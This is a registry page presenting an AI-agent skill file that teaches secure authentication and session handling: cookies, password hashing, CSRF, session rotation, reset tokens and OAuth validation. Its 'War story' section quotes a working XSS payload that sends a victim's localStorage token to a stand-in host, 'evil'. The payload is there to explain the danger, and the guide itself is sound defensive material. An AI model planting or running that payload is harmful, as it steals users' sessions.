auth-and-sessions
Skill26 starsChanged 6 months agoMITView on GitHub
Use when the user is wiring login, signup, logout, OAuth, JWTs, session cookies, "remember me", password reset, magic links, or token storage. Covers httpOnly cookies vs localStorage, CSRF, session rotation, password hashing, logout-everywhere.
In this repository19 other files it gives its agents.
- api-route-hardeningSkill
- authorizationSkill
- caching-and-invalidationSkill
- database-query-safetySkill
- data-privacySkill
- error-handlingSkill
- file-uploadsSkill
- input-validationSkill
- jobs-and-queuesSkill
- llm-endpoint-safetySkill
- migrations-and-schemaSkill
- observabilitySkill
- production-readinessSkill
- reliability-patternsSkill
- rsc-boundariesSkill
- secrets-and-envSkill
- testing-strategySkill
- transactions-and-consistencySkill
- webhooksSkill
The file
We split this skill into the rules it gives an agent
5 rules. About 0 are common, 3 are distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈3
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 23
If the user is hand-rolling: the rules below are non-negotiable.
- Very specific: line 66
Never store plaintext. Never use MD5/SHA-1/SHA-256 for passwords — they're fast by design, which is wrong for password hashing.
- Distinctive: line 70
After login, after password change, after MFA enrollment, after role escalation: issue a new session ID and invalidate the old.
- Very specific: line 116
Always validate state on callback (CSRF for the OAuth handshake)
- Distinctive: line 117
Use PKCE for public clients (mobile, SPA) — and for confidential clients too, it's free
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Auth & Sessions
When to use
- Building login / signup / logout / password reset / magic link flows
- Issuing or verifying JWTs, session tokens, or refresh tokens
- Choosing where to store tokens (cookie? localStorage? memory?)
- Wiring OAuth / OIDC / SSO with a provider
- Adding "remember me" or device-management features
When to skip
- The app uses a managed auth provider (Clerk, WorkOS, Auth0, Supabase Auth, better-auth) and the user is just calling its SDK — defer to provider docs
- Pure read-only public pages with no auth at all
Default to a managed provider
In 2026, hand-rolling auth is rarely the right call. Default to better-auth, Clerk, WorkOS, Lucia (with care — check maintenance status), Supabase Auth, or Auth.js v5. Hand-roll only if there's a real reason (regulatory, custom IdP, learning exercise).
If the user is hand-rolling: the rules below are non-negotiable.
The rules
1. Tokens go in httpOnly cookies. Not localStorage.
// BAD — XSS reads the token in one line of injected JS
localStorage.setItem('token', jwt)
// GOOD — cookie is invisible to JS
cookies.set('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax',
path: '/',
maxAge: 60 * 60 * 24 * 7, // 7 days
})Why: any XSS — a single broken dangerouslySetInnerHTML, a compromised npm package — can drain localStorage in one line. httpOnly cookies are unreachable to JS.
2. sameSite: 'lax' minimum. 'strict' if you can.
lax blocks cross-site POSTs (most CSRF). strict blocks even top-level cross-site GETs (breaks OAuth redirects — use lax for the auth cookie, strict for sensitive action cookies).
3. Use opaque session IDs in the cookie. Not raw JWTs (usually).
Store a random ID in the cookie; look up the session record in your DB/Redis. Lets you revoke instantly (logout-everywhere, security incident). Stateless JWTs cannot be revoked without a denylist — and a denylist is just a stateful session store with worse ergonomics.
JWTs are appropriate for short-lived access tokens between services, not for browser sessions.
4. Hash passwords with argon2id. Bcrypt is acceptable. SHA-anything is not.
import { hash, verify } from '@node-rs/argon2'
const passwordHash = await hash(password, {
memoryCost: 19_456, // 19 MiB
timeCost: 2,
parallelism: 1,
})Never store plaintext. Never use MD5/SHA-1/SHA-256 for passwords — they're fast by design, which is wrong for password hashing.
5. Rotate the session ID on privilege change.
After login, after password change, after MFA enrollment, after role escalation: issue a new session ID and invalidate the old. Prevents session fixation.
6. Logout invalidates server-side. Always.
// BAD — only clears the cookie. The token still works if stolen.
cookies.delete('session')
// GOOD
await db.session.delete({ where: { id: sessionId } })
cookies.delete('session')7. CSRF: sameSite: 'lax' + double-submit token, or use Server Actions.
Next.js Server Actions and Remix actions have built-in CSRF protection via origin checks. If you expose a plain POST /api/... that uses cookie auth, add a CSRF token (double-submit pattern) on top of sameSite: 'lax'.
8. Magic links and password reset tokens: single-use, short-lived, hashed at rest.
// Store hash(token), not token. Send token via email.
const token = randomBytes(32).toString('hex')
await db.resetToken.create({
data: { userIdHash: hash(token), expiresAt: addMinutes(new Date(), 15) },
})
// Then: lookup by hash, mark used after redemption, never log the token9. Rate-limit the auth endpoints. Hard.
Login, signup, password reset, MFA verify — all are credential-stuffing and brute-force targets. Per-IP and per-account limits. Lockouts with exponential backoff. See api-route-hardening.
10. Email enumeration: same response for "user exists" and "user doesn't."
// BAD
if (!user) return { error: 'No account with that email' }
if (!validPassword) return { error: 'Wrong password' }
// GOOD
if (!user || !validPassword) return { error: 'Invalid credentials' }
// And: send the password-reset email regardless of whether the email existsOAuth specifics
- Always validate
stateon callback (CSRF for the OAuth handshake) - Use PKCE for public clients (mobile, SPA) — and for confidential clients too, it's free
- Validate
id_tokensignature,iss,aud,exp,nonce— do not trust the provider's redirect blindly - Store the provider's
sub(subject), not the email, as the stable identity key
War story
A "build in public" SaaS stored JWTs in localStorage and shipped a markdown renderer that didn't sanitize images. A user submitted a profile bio with <img src=x onerror="fetch('https://evil/x?t='+localStorage.token)">. Every other user who viewed that profile leaked their session. Took down all paid customers' accounts. Two-line fix (httpOnly cookie + sanitizer) prevented by being made on day one.
Quick checklist
- Tokens in
httpOnly,secure,sameSite: 'lax'cookies — never localStorage - Opaque session ID, not raw JWT, for browser sessions
- Passwords hashed with argon2id (or bcrypt as fallback)
- Session ID rotated on login / password change / privilege escalation
- Logout deletes the server-side session
- CSRF protection (Server Actions, or
sameSite: 'lax'+ double-submit token) - Reset/magic-link tokens hashed at rest, single-use, ≤15min TTL
- Auth endpoints rate-limited per-IP and per-account
- Same response for unknown email + wrong password
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

